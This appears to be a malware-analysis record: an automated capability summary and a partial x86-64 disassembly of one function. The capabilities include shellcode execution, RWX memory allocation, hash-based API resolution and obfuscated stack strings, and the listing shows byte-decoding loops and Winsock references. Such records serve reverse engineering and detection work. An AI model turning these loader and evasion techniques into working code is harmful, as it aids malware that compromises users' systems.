Function at 0x140132388
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate gui resources
Enumerate process modules
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get ntdll base address
Get number of processors
Hash data using fnv
Parse pe header
Read file via mapping
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4228]
mov eax, 0x4300
call fcn.140210030
sub rsp, rax
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rbp + 0x41f0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rax
lea rcx, [rbp + 0x4228]
movabs rdx, 0xff00ff00ff00ff07
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x60], rcx
mov rax, qword [rcx]
mov qword [rbp + 0x50], rax
xor rax, rdx
mov qword [rbp + 0x50], rax
xor eax, eax
mov qword [rcx], rax
mov qword [rbp + 0x11c8], rax
lea r15d, [rax + 1]
mov byte [rbp + 0x11cc], r15b
or dword [rbp + 0x11c8], r15d
lea r8d, [rax + 8]
lea rdx, [rbp + 0x11c8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
or r12, 0xffffffffffffffff
mov dword [rsp + 0x6c], 0xeced0b92
mov dword [rsp + 0x70], 0xf84eee59
mov dword [rsp + 0x74], 0xb3002016
mov dword [rsp + 0x78], 0x2fd4df39
mov dword [rsp + 0x7c], 0xe80fd3a
mov dword [rbp - 0x80], 0xa52bcaf9
mov dword [rbp - 0x7c], 0x820621f3
mov dword [rbp - 0x78], 0x33b00bc5
test rax, rax
je 0x14013860e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rbp - 0x20], rcx
movzx eax, word [rcx + 0x14]
add rax, 0x18
add rax, rcx
mov qword [rbp - 0x18], rax
xor eax, eax
mov dword [rsp + 0x68], eax
cmp ax, word [rcx + 6]
jae 0x14013860e
mov r15b, byte [rsp + 0x50]
mov qword [rbp - 0x10], r15
mov r12b, byte [rsp + 0x50]
mov qword [rbp - 8], r12
mov r14b, byte [rsp + 0x50]
mov qword [rbp - 0x68], r14
mov r13b, byte [rsp + 0x50]
mov qword [rbp - 0x58], r13
mov dil, byte [rsp + 0x50]
mov qword [rbp - 0x50], rdi
mov sil, byte [rsp + 0x50]
mov qword [rbp - 0x48], rsi
mov byte [rbp + 0x2a0], 0xbe
mov byte [rbp + 0x2a1], 0x62
mov byte [rbp + 0x2a2], __WSAFDIsSet
mov byte [rbp + 0x2a3], 0x62
mov byte [rbp + 0x2a4], reloc.WLDAP32.dll_Ordinal_200
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a5], xmm0
mov dword [rbp + 0x2b5], eax
mov word [rbp + 0x2b9], ax
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x1b
jae 0x1401331a8
movzx r8d, byte [rbp + r9 + 0x2a0]
mov r11d, r8d
cmp rbx, r9
ja 0x14013319f
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14013257b
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov rax, rcx
and rax, r11
imul r15, rax, 0xfffffffffffffffe
add r15, rcx
add r15, r11
sub r15b, 0x2e
jmp 0x140132836
je 0x140133100
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401330c6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013307b
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140133019
cmp r10, r9
ja 0x140133196
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x1401325e2
movabs rdx, 0xcc37393af1646d8a
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
jmp 0x14013280a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140132ff7
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140132fd6
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140132fb3
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140132f27
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140132f03
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140132b97
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140132b6f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140132b4c
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140132b29
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140132b01
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140132ade
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x140132ab2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140132a8a
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140132a67
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140132a3f
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140132630
lea rbx, [r10 + 0x10]
lea r10, [rbx + 1]
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14013316a
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14013313e
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x14013283f
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140132813
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401327e7
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140132a19
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401329f1
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401329ce
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x14013299e
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140132630
mov rbx, rax
lea r10, [rax + 8]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14013297b
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140132953
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140132930
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14013290c
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401328e7
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x1401328c1
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x14013289d
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140132889
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x140132866
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140132630
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x40]
jmp 0x140132630
movabs rdx, 0xc19e4a0c3dc97fb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x140132623
movabs rdx, 0x4ca5386826cc1ff2
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
jmp 0x1401325a8
movabs rcx, 0xd7ac26c40fcec02e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x42
mov qword [rbp - 0x10], r15
jmp 0x140132543
movabs rdx, 0x61b9c9d78b236c50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x30
jmp 0x140133037
movabs rdx, 0xecc0b83374260c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140132d88
movabs rcx, 0x77c7a68f5d28acc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x78
jmp 0x140132d05
movabs rdx, 0x2ce94eb462b4d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x1c
add r15b, dl
jmp 0x140133099
movabs rdx, 0x8dd583472f2ded40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1401330e6
movabs rcx, 0x18dc71a318308d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x64
jmp 0x140132ad5
movabs rcx, 0xa3e35fff01332db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 8
jmp 0x140132f45
movabs rdx, 0x2eea4e5aea35cdf4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140132f77
movabs rcx, 0xb9f13cb6d3386e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x50
jmp 0x140133123
movabs rcx, 0x9582909c99befec6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x6a
mov qword [rbp - 0x10], r15
mov byte [rbp + r9 + 0x2a0], r15b
jmp 0x140133136
movabs rdx, 0x20897ef882c19f02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0xe
jmp 0x140132c42
movabs rdx, 0xab906d546bc43f3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140132c04
movabs rdx, 0x36975bb054c6df7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x56
add r15b, dl
jmp 0x140132bc2
movabs rdx, 0xc94b5761a85a913c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140133123
movabs rcx, 0x545245bd915d3178
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x48
jmp 0x140132f77
movabs rdx, 0xdf5934197a5fd1b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140132f45
movabs rdx, 0x6a602275636271f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x1401330f0
movabs rcx, 0xf56710d14c65122c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x34
jmp 0x1401330e9
movabs rdx, 0x806dff2d3567b268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x140133099
movabs rcx, 0xb74ed891e6a52a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x7c
jmp 0x140132d05
movabs rcx, 0x967bdbe5076cf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x20
jmp 0x140133062
movabs rdx, 0x2182ca40f06f931c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x14013303a
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140132c7c
movabs rcx, 0x3a7c88d20b7eafe2
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2e
mov qword [rbp - 0x10], r15
lea rax, [r10 + rbx]
cmp rax, 0x28
je 0x140132ed8
lea rcx, [r10 + 3]
cmp rbx, rcx
jbe 0x140132d44
movabs rdx, 0xefac9a0cbd2fe8da
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 5
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
cmp rbx, 0x3e8
jae 0x140132eb1
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x140132dfa
movabs rdx, 0xbbe3d347ae945664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
cmp r10, 0x5a
jb 0x1401329c1
movabs rdx, 0x4d9e83b0947a140c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea r15d, [rcx + rcx]
jmp 0x14013303a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140132cad
movabs rdx, 0x986e7275e2c8db14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
jmp 0x140133123
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140132cd9
movabs rdx, 0x826095be10c39a9c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x44
jmp 0x140132aaa
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140132d14
movabs rdx, 0x5644dc4e6cb919ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
mov r15d, 1
jmp 0x14013306f
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140132bc6
movabs rdx, 0x4036ff969ab3d934
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x6c
jmp 0x140133037
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140132d70
movabs rdx, 0x64a5abb0d42d489e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x52
jmp 0x140133037
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140132da1
movabs rdx, 0xd99ebd54eb2aa862
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
jmp 0x140133062
cmp rbx, rcx
jne 0x140132dca
movabs rcx, 0x4e97cef902280826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0xa
jmp 0x140132d05
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140132c08
movabs rdx, 0x227c15895e1d8736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, 0x7a
jmp 0x140132aaa
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140132e26
movabs rcx, 0x30dce4ebc591b628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x18
jmp 0x140133123
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140132e52
movabs rcx, 0x8fc819d80a89d574
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x2c
jmp 0x140132ad5
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140132e80
movabs rdx, 0x79ba3d20388494fc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
jmp 0x1401328df
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140132c49
movabs rcx, 0xeeb34ec44f81f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r15d, [rcx + r8]
sub r15b, 0x40
jmp 0x140132d05
movabs rdx, 0xc2979554ab7773d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, byte [rbp + r9 + 0x2a0]
jmp 0x140132e78
movabs rdx, 0x3790a6f8c274d394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r15b, r8b
sub r15b, al
sub r15b, byte [rbp + r9 + 0x2a0]
sub r15b, 0xc
jmp 0x140132aaa
movabs rcx, 0xe8f8d7ffc04ccb6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 2
jmp 0x140133123
movabs rcx, 0xff06b4b792520be6
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x4a
movabs rdx, 0x720d2fcacdf38376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x2a0], al
inc r10
add rax, r10
sub r9, rax
mov qword [rbp - 0x10], r15
movabs rcx, 0xac89b89cd9723358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x2a0], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140133127
movabs rcx, 0xa01b7fcb4d59ec9a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x36
jmp 0x140133099
movabs rcx, 0xb6295c831f5f2d12
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea r15d, [rcx + r11]
sub r15b, 0x7e
jmp 0x140133062
movabs rcx, 0x41304adf0861cd4e
add rcx, r9
and r11b, cl
add r11b, r11b
mov r15b, r8b
sub r15b, r11b
sub r15b, 0x22
add r15b, cl
jmp 0x14013303a
movabs rdx, 0x573e2796da670dc6
add rdx, r9
mov al, r11b
and al, dl
add al, al
mov r15b, r11b
sub r15b, al
sub r15b, 0x6a
add r15b, dl
movabs rdx, 0x881b0c829ff8c3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2a0], cl
mov qword [rbp - 0x10], r15
mov r15d, 1
add r10, r15
sub r9, r15
mov r15, qword [rbp - 0x10]
jmp 0x140133136
movabs rcx, 0xf852f2aa956eee7a
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea r15d, [r8 + rcx]
sub r15b, 0x56
movabs rdx, 0xfd141e26b6f623b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r15b
mov byte [rbp + r9 + 0x2a0], cl
jmp 0x1401330e9
movabs rdx, 0x8359e1067e718eb6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
mov qword [rbp - 0x10], r15
add rbx, r10
movzx eax, r15b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140133136
movabs rdx, 0xaf759a76227c0fa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r11b
mov qword [rbp - 0x10], r15
movzx eax, byte [rbp + r9 + 0x2a0]
add rax, r10
add r9, rax
inc r9
jmp 0x14013252d
movabs rdx, 0x62b3151ff8d1606a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r8b
mov qword [rbp - 0x10], r15
jmp 0x140132528
movabs rdx, 0xedba037be1d400a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r8b
add r15b, dl
mov qword [rbp - 0x10], r15
jmp 0x140132518
lea rcx, [rbp + 0x15e2e78]
jmp 0x1401331af
lea rcx, [rbp + 0x15cde5a]
jmp 0x1401331af
lea rcx, [rbp + 0x2a0]
mov rax, qword [rbp - 0x18]
sub rcx, rax
mov r15d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x1401331d0
add rax, r15
test edx, edx
jne 0x1401331bc
xor eax, eax
test r8d, r8d
jne 0x1401385e1
mov byte [rbp + 0xd30], 0x9b
mov byte [rbp + 0xd31], 0x59
mov byte [rbp + 0xd32], 0x80
mov byte [rbp + 0xd33], 0x5b
mov byte [rbp + 0xd34], 0xa0
mov byte [rbp + 0xd35], 0x45
mov byte [rbp + 0xd36], 0xbb
mov byte [rbp + 0xd37], 0x47
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_2118], 0xd3
mov byte [rbp + 0xd39], 0x41
mov byte [rbp + 0xd3a], 0xaf
mov byte [rbp + 0xd3b], 0x43
mov byte [rbp + 0xd3c], 0xde
mov byte [rbp + 0xd3d], Ordinal_79
mov byte [rbp + 0xd3e], 0xdd
mov byte [rbp + 0xd3f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xd40], 0xac
mov byte [rbp + 0xd41], Ordinal_79
mov byte [rbp + 0xd42], 0x86
mov byte [rbp + 0xd43], Ordinal_79
mov byte [rbp + 0xd44], 0x99
mov byte [rbp + 0xd45], 0x75
mov byte [rbp + 0xd46], 0x98
mov byte [rbp + 0xd47], 0x77
mov byte [rbp + 0xd48], __WSAFDIsSet
mov byte [rbp + 0xd49], WSACleanup
mov byte [rbp + 0xd4a], 0xef
mov byte [rbp + 0xd4b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xd4c], 0xe8
mov byte [rbp + 0xd4d], 0x7d
mov byte [rbp + 0xd4e], 0xe2
mov byte [rbp + 0xd4f], 0x7f
mov byte [rbp + 0xd50], 0x9c
mov byte [rbp + 0xd51], 0x79
mov byte [rbp + 0xd52], 0xbb
mov byte [rbp + 0xd53], 0x7b
mov byte [rbp + 0xd54], 0xf4
mov byte [rbp + 0xd55], 0x65
mov byte [rbp + 0xd56], 0xf6
mov byte [rbp + 0xd57], 0x67
mov byte [rbp + 0xd58], 0xac
mov byte [rbp + 0xd59], 0x61
mov byte [rbp + 0xd5a], 0x83
mov byte [rbp + 0xd5b], 0x63
mov byte [rbp + 0xd5c], 0xf0
mov byte [rbp + 0xd5d], WSASetLastError
mov byte [rbp + 0xd5e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xd5f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xd60], Ordinal_143
mov byte [rbp + 0xd61], WSAGetLastError
mov byte [rbp + 0xd62], 0xa7
mov byte [rbp + 0xd63], WSASetLastError
mov byte [rbp + 0xd64], 0x88
mov byte [rbp + 0xd65], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd66], 0xfe
mov byte [rbp + 0xd67], reloc.WS2_32.dll_socket
mov byte [rbp + 0xd68], 0xfd
mov byte [rbp + 0xd69], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd6a], 0x80
mov byte [rbp + 0xd6b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd6c], 0xfd
mov byte [rbp + 0xd6d], Ordinal_32
mov byte [rbp + 0xd6e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xd6f], Ordinal_32
mov byte [rbp + 0xd70], 0xfa
mov byte [rbp + 0xd71], Ordinal_27
mov byte [rbp + 0xd72], 0xf3
mov byte [rbp + 0xd73], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xd74], __WSAFDIsSet
mov byte [rbp + 0xd75], 5
mov byte [rbp + 0xd76], 6
mov byte [rbp + 0xd77], 7
xorps xmm0, xmm0
movups xmmword [rbp + 0xd78], xmm0
mov qword [rbp + 0xd88], rax
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x60
jae 0x140133e27
movzx r8d, byte [rbp + r10 + 0xd30]
mov r11d, r8d
cmp rbx, r10
ja 0x140133e1a
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140133444
movabs r12, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r8
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r8
add dl, 0x2c
jmp 0x14013347e
je 0x140133d81
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140133d28
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140133cc0
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140133c93
mov dl, r12b
movabs r12, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x140133e0b
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1401334b1
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x64
add cl, r8b
jmp 0x1401334e7
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140133c4a
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140133c24
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140133c01
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140133bdd
mov cl, dl
mov r11d, Ordinal_32
mov qword [rbp - 8], rcx
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140133825
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140133804
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401337f0
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401337d6
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401337b2
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140133791
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14013377d
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140133de3
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140133dbb
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140133616
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140133766
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140133732
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401334fe
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14013370d
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401336ea
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401336c9
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401336a1
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14013367c
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14013365a
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140133637
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401334fe
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x1401334ed
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x20
add cl, dl
jmp 0x140133c66
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub cl, 0x78
add cl, r8b
jmp 0x140133c44
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x140133cb0
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r8b
add r12b, dl
jmp 0x140133d11
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x30
jmp 0x140133b9e
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140133d44
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
jmp 0x140133d9d
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
mov byte [rbp + r10 + 0xd30], r12b
jmp 0x140133db3
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140133837
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x1401336f9
movabs rdx, 0x2da64a4e3c5360b8
